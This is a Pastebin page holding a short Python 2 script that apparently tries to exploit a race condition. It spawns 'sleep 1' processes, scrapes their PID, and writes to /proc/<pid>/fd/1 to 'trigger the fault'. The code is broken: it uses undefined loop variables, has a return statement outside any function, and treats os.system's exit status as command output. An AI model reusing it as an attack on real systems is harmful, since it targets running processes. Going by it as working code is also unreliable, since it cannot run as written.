Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import time
- import random
- #infinite loop
- while (i == 0):
- os.system("sleep 1")
- while (x == 0):
- time.sleep(random.random()) #random int 0.0-1.0
- pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
- if (pid == 0): #need an active pid, race condition applies
- print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
- return
- else:
- print "[+] PID: " + pid
- loc = "echo n > /proc/" + pid + "/fd/1"
- os.system(loc) # triggers the fault, runs via sh
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement